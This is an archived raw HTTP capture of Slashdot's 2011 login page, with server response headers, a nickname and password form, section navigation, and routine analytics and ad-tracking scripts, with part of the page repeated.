<ul class="menu" id="fhtablist_new"> <li class="Stories"> <a href="//slashdot.org/stories">Stories</a> </li> <li class="Recent"> <a href="//slashdot.org/recent">Recent</a> </li> <li class="Popular"> <a href="//slashdot.org/popular">Popular</a> </li> </ul> <h4 class="hide" id="links-sections-title" class='active'> <a class="data-title" href="//slashdot.org" >Slashdot</a> <script type="data">{ color: "", viewname: "stories", filter: "", name: "Main", id: 13 }</script> </h4> <ul id="firehose-sections" role="sections" class="left_menu"> <li class="spacer"></li> <li class="" id="fhsection-askslashdot"> <a id="fhsectiontitle-4" class="data-title" href="//ask.slashdot.org">Ask Slashdot</a> </li> <li class="" id="fhsection-bookreview"> <a id="fhsectiontitle-6" class="data-title" href="//books.slashdot.org">Book Reviews</a> </li> <li class="" id="fhsection-games"> <a id="fhsectiontitle-10" class="data-title" href="//games.slashdot.org">Games</a> </li> <li class="" id="fhsection-idle"> <a id="fhsectiontitle-28" class="data-title" href="//idle.slashdot.org">Idle</a> </li> <li class="" id="fhsection-yro"> <a id="fhsectiontitle-17" class="data-title" href="//yro.slashdot.org">YRO</a> </li> <li class="spacer"></li> <li class="" id="fhsection-cloud"> <a id="fhsectiontitle-cloud" class="data-title" href="//slashdot.org/stories/cloud">Cloud</a> </li> <li class="" id="fhsection-hardware"> <a id="fhsectiontitle-21" class="data-title" href="//hardware.slashdot.org">Hardware</a> </li> <li class="" id="fhsection-linux"> <a id="fhsectiontitle-19" class="data-title" href="//linux.slashdot.org">Linux</a> </li> <li class="" id="fhsection-it"> <a id="fhsectiontitle-18" class="data-title" href="//it.slashdot.org">Management</a> </li> <li class="" id="fhsection-mobile"> <a id="fhsectiontitle-29" class="data-title" href="//mobile.slashdot.org">Mobile</a> </li> <li class="" id="fhsection-science"> <a id="fhsectiontitle-14" class="data-title" href="//science.slashdot.org">Science</a> </li> <li class="" id="fhsection-security"> <a id="fhsectiontitle-security" class="data-title" href="//slashdot.org/stories/security">Security</a> </li> <li class="" id="fhsection-storage"> <a id="fhsectiontitle-storage" class="data-title" href="//slashdot.org/stories/storage">Storage</a> </li> </ul></nav> </div> <div class="col_2"> <section class="grid_24" id="content"> <section id="firehose"> <div class="grid_24" ><h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value=""> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value=""> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form></section> <aside id="slashboxes"> </aside> </section> </div> </section> </section> <footer class="grid_24"> <nav class="grid_20" role="footer"> <ul> <li><a href="//slashdot.org/faq">FAQ</a></li> <li><a href="//slashdot.org/hof.shtml">Hall of Fame</a></li> <li><a href="http://geek.net/advertising">Advertising</a></li> <li><a href="http://geek.net/terms.php">Terms</a></li> <li><a href="http://geek.net/privacy-statement">Privacy</a></li> <li><a href="//slashdot.org/faq/slashmeta.shtml">About</a></li> </ul> </nav> <div class="grid_4 tright">© 2011, <a href="http://geek.net" title="The Mother Ship">Geeknet</a></div> </footer><div id="login_cover" class="hide" onclick="hide_login_box()"></div><div id="login_box" class="hide"> <div id="login_box_content"> <h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value=""> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value=""> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form> <div class="actions"> <a class="ico close" href="#" onclick="hide_login_box(); return false"><span>Close</span></a> </div> </div></div><script type="text/javascript">logged_in = 0</script><script type="text/javascript">COMSCORE.beacon({ c1:2, c2:6035546, c3:"", c4:"", c5:"", c6:"", c15:""});</script><noscript><img src="http://b.scorecardresearch.com/p?c1=2&c2=6035546&c3=&c4=&c5=&c6=&c15=&cj=1" alt="comScore2"></noscript><div id="modal_cover" class="hide" onclick="hide_modal_box(); return false;"></div><div id="modal_box" class="hide"> <h3><div id="logo"><a href="//slashdot.org">Slashdot</a></div><span id="preference_title"></span></h3><br> <div id="modal_box_content"></div> <div class="actions"> <a class="ico close" href="#" onclick="hide_modal_box(); return false;"><span>Close</span></a> </div></div><script id="after-content" type="text/javascript">(function( $, fn, console ){ $ && fn && $(function(){ fn($, console); });})(window.jQuery, window.pageload_done, window.console);</script></body></html>
Server: Apache/1.3.42 (Unix) mod_perl/1.31
X-Powered-By: Slash 2.005001
X-Fry: It's a widely-believed fact!
X-XRDS-Location: http://slashdot.org/slashdot.xrds
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 14414
Date: Tue, 08 Mar 2011 15:58:56 GMT
X-Varnish: 1629928646
Age: 0
Connection: keep-alive
<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, user-scalable=yes, initial-scale=1.0, maximum-scale=10.0" /> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black"> <link rel="stylesheet" type="text/css" rev="stylesheet" href="//a.fsdn.com/sd/smallscreen.css?T_2_5_0_306n" media="screen, projection"><script id="before-content" type="text/javascript">var pageload = { pagemark: '90026720232658838', before_content: (new Date).getTime()};function pageload_done( $, console, maybe ){ pageload.after_readycode = (new Date).getTime(); pageload.content_ready_time = pageload.content_ready - pageload.before_content; pageload.script_ready_time = pageload.after_readycode - pageload.content_ready; pageload.ready_time = pageload.after_readycode - pageload.before_content; // Only report 1% of cases. maybe || (Math.random()>0.01) || $.ajax({ data: { op: 'page_profile', pagemark: pageload.pagemark, dom: pageload.content_ready_time, js: pageload.script_ready_time } });}</script><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta property="fb:admins" content="100000696822412"><meta property="fb:page_id" content="267995220856"><title>Log In</title><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/classic.css?T_2_5_0_306n" ><!--[if gte IE 8]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie8-classic.css?T_2_5_0_306n" ><![endif]--><!--[if IE 7]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie7-classic.css?T_2_5_0_306n" ><![endif]--><script src="//a.fsdn.com/sd/all-minified.js?T_2_5_0_306n" type="text/javascript"></script><script id="after-jquery" type="text/javascript">(function( $, pageload, pageload_done, console ){$ && pageload && $(function(){ pageload.content_ready = (new Date).getTime(); pageload_done && $(function(){ pageload_done($, console, 'maybe'); });});})(window.jQuery, window.pageload, window.pageload_done, window.console);</script><script type="text/javascript">(function(){var regexp=/\s*(?:\d+|many)\s+more\s*/i; var auto_more_count = 2; function auto_more(){ var $more_link = $('#more-experiment a'); $more_link.each(function(){ var $lastitem = $('#firehoselist>div.fhitem:visible:last'); if ( Bounds.intersect(window, $lastitem) ) { // _any_ click can trigger, but click-specific ad will win setTimeout(function(){ inlineAdFirehose($lastitem, 1); }, 0); !--auto_more_count && (auto_more=undefined); // don't allow a call till the next paginate gets built and |more_possible| $(document).unbind('scroll', call_auto_more); } }); }; function call_auto_more(){ auto_more && auto_more(); } function hint_more( $more_link ){ if ( !auto_more ){ $more_link. click(function(){ hint_more = undefined; }). after('<span id="more-hint" class="feature-hint"><em>NEW: Fetch stories in-line!</em></span>'); } } $('#more-experiment a'). live('more-possible', function( event ){ var $more_link=$(this); if ( regexp.test($more_link.text()) ) { hint_more && hint_more($more_link); $(document).bind('scroll', call_auto_more); } else { $(document).unbind('scroll', call_auto_more); } });})();</script><script type="text/javascript">var suggestions_for_context = { nod: 'fresh funny insightful interesting maybe ', nix: 'binspam dupe notthebest offtopic slownewsday stale stupid ', tagnod: 'descriptive', feedback: 'typo dupe error', metanod: 'insightful interesting informative funny underrated', metanix: 'offtopic flamebait troll redundant overrated'};</script><script type="text/javascript">var adpage = 'index';</script><rel class="login" /><!--[if IE]><script src="//a.fsdn.com/sd/html5.js" type="text/javascript"></script><![endif]--><link rel="top" title="News for nerds, stuff that matters" href="//slashdot.org/" ><link rel="search" title="Search Slashdot" href="//slashdot.org/search.pl"><link rel="alternate" title="Slashdot RSS" href="http://rss.slashdot.org/Slashdot/slashdot" type="application/rss+xml"><link rel="shortcut icon" href="/favicon.ico" type="image/x-icon"><!-- DoubleClick Random Number --><script type="text/javascript"> dfp_ord=Math.random()*10000000000000000; dfp_tile = 1;</script><!-- End DoubleClick Random Number --><script type="text/javascript">window.google_analytics_uacct = "UA-32013-5";var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-32013-5']); _gaq.push(['_trackPageview'],['_setDomainName', 'slashdot.org']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })();</script></head><body class="anon login "><div id="top_parent"></div><a name="topothepage"></a><header class="col_wrapper container clearfix h"> <hgroup> <section class="grid_11"> <div id="logo" > <a href="//slashdot.org"><span>Slashdot</span></a> <div id="jump" class="hide"> <a href="#main-articles">Stories</a><br> <a href="#blocks">Slash Boxes</a><br> <a href="#comments">Comments</a> </div> </div> <form id="search" method="get" action="//slashdot.org/index2.pl"> <input type="text" name="fhfilter" value="" id="searchquery"> <span class="ui-icon search"></span> <input type="submit" value="Search"> </form> </section> <nav role="top-navigation" class="grid_13"> <a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;" class="btn link">Join</a> <a href="//slashdot.org/my/login" onclick="show_login_box(); $('#modal_box').addClass('login'); return false;" class="btn link">Log In</a> <a href="//slashdot.org/submission" onclick="show_submit_box('','submission'); $('#modal_box').addClass('submit'); return false;" title="Submit a story to Slashdot" class="btn link">Submit<span class="opt"> Story</span></a> </nav> </hgroup></header><section id="fix"><div class="col_1"></div><div class="col_2"><section class="grid_24 fix"></section></div></section><section> <div class="col_1"><nav class="left_menu" id="links" role="sections"> <ul class="menu" id="fhtablist_new"> <li class="Stories"> <a href="//slashdot.org/stories">Stories</a> </li> <li class="Recent"> <a href="//slashdot.org/recent">Recent</a> </li> <li class="Popular"> <a href="//slashdot.org/popular">Popular</a> </li> </ul> <h4 class="hide" id="links-sections-title" class='active'> <a class="data-title" href="//slashdot.org" >Slashdot</a> <script type="data">{ color: "", viewname: "stories", filter: "", name: "Main", id: 13 }</script> </h4> <ul id="firehose-sections" role="sections" class="left_menu"> <li class="spacer"></li> <li class="" id="fhsection-askslashdot"> <a id="fhsectiontitle-4" class="data-title" href="//ask.slashdot.org">Ask Slashdot</a> </li> <li class="" id="fhsection-bookreview"> <a id="fhsectiontitle-6" class="data-title" href="//books.slashdot.org">Book Reviews</a> </li> <li class="" id="fhsection-games"> <a id="fhsectiontitle-10" class="data-title" href="//games.slashdot.org">Games</a> </li> <li class="" id="fhsection-idle"> <a id="fhsectiontitle-28" class="data-title" href="//idle.slashdot.org">Idle</a> </li> <li class="" id="fhsection-yro"> <a id="fhsectiontitle-17" class="data-title" href="//yro.slashdot.org">YRO</a> </li> <li class="spacer"></li> <li class="" id="fhsection-cloud"> <a id="fhsectiontitle-cloud" class="data-title" href="//slashdot.org/stories/cloud">Cloud</a> </li> <li class="" id="fhsection-hardware"> <a id="fhsectiontitle-21" class="data-title" href="//hardware.slashdot.org">Hardware</a> </li> <li class="" id="fhsection-linux"> <a id="fhsectiontitle-19" class="data-title" href="//linux.slashdot.org">Linux</a> </li> <li class="" id="fhsection-it"> <a id="fhsectiontitle-18" class="data-title" href="//it.slashdot.org">Management</a> </li> <li class="" id="fhsection-mobile"> <a id="fhsectiontitle-29" class="data-title" href="//mobile.slashdot.org">Mobile</a> </li> <li class="" id="fhsection-science"> <a id="fhsectiontitle-14" class="data-title" href="//science.slashdot.org">Science</a> </li> <li class="" id="fhsection-security"> <a id="fhsectiontitle-security" class="data-title" href="//slashdot.org/stories/security">Security</a> </li> <li class="" id="fhsection-storage"> <a id="fhsectiontitle-storage" class="data-title" href="//slashdot.org/stories/storage">Storage</a> </li> </ul></nav> </div> <div class="col_2"> <section class="grid_24" id="content"> <section id="firehose"> <div class="grid_24" ><h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value=""> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value=""> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form></section> <aside id="slashboxes"> </aside> </section> </div> </section> </section> <footer class="grid_24"> <nav class="grid_20" role="footer"> <ul> <li><a href="//slashdot.org/faq">FAQ</a></li> <li><a href="//slashdot.org/hof.shtml">Hall of Fame</a></li> <li><a href="http://geek.net/advertising">Advertising</a></li> <li><a href="http://geek.net/terms.php">Terms</a></li> <li><a href="http://geek.net/privacy-statement">Privacy</a></li> <li><a href="//slashdot.org/faq/slashmeta.shtml">About</a></li> </ul> </nav> <div class="grid_4 tright">© 2011, <a href="http://geek.net" title="The Mother Ship">Geeknet</a></div> </footer><div id="login_cover" class="hide" onclick="hide_login_box()"></div><div id="login_box" class="hide"> <div id="login_box_content"> <h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value=""> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value=""> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form> <div class="actions"> <a class="ico close" href="#" onclick="hide_login_box(); return false"><span>Close</span></a> </div> </div></div><script type="text/javascript">logged_in = 0</script><script type="text/javascript">COMSCORE.beacon({ c1:2, c2:6035546, c3:"", c4:"", c5:"", c6:"", c15:""});</script><noscript><img src="http://b.scorecardresearch.com/p?c1=2&c2=6035546&c3=&c4=&c5=&c6=&c15=&cj=1" alt="comScore2"></noscript><div id="modal_cover" class="hide" onclick="hide_modal_box(); return false;"></div><div id="modal_box" class="hide"> <h3><div id="logo"><a href="//slashdot.org">Slashdot</a></div><span id="preference_title"></span></h3><br> <div id="modal_box_content"></div> <div class="actions"> <a class="ico close" href="#" onclick="hide_modal_box(); return false;"><span>Close</span></a> </div></div><script id="after-content" type="text/javascript">(function( $, fn, console ){ $ && fn && $(function(){ fn($, console); });})(window.jQuery, window.pageload_done, window.console);</script></body></html>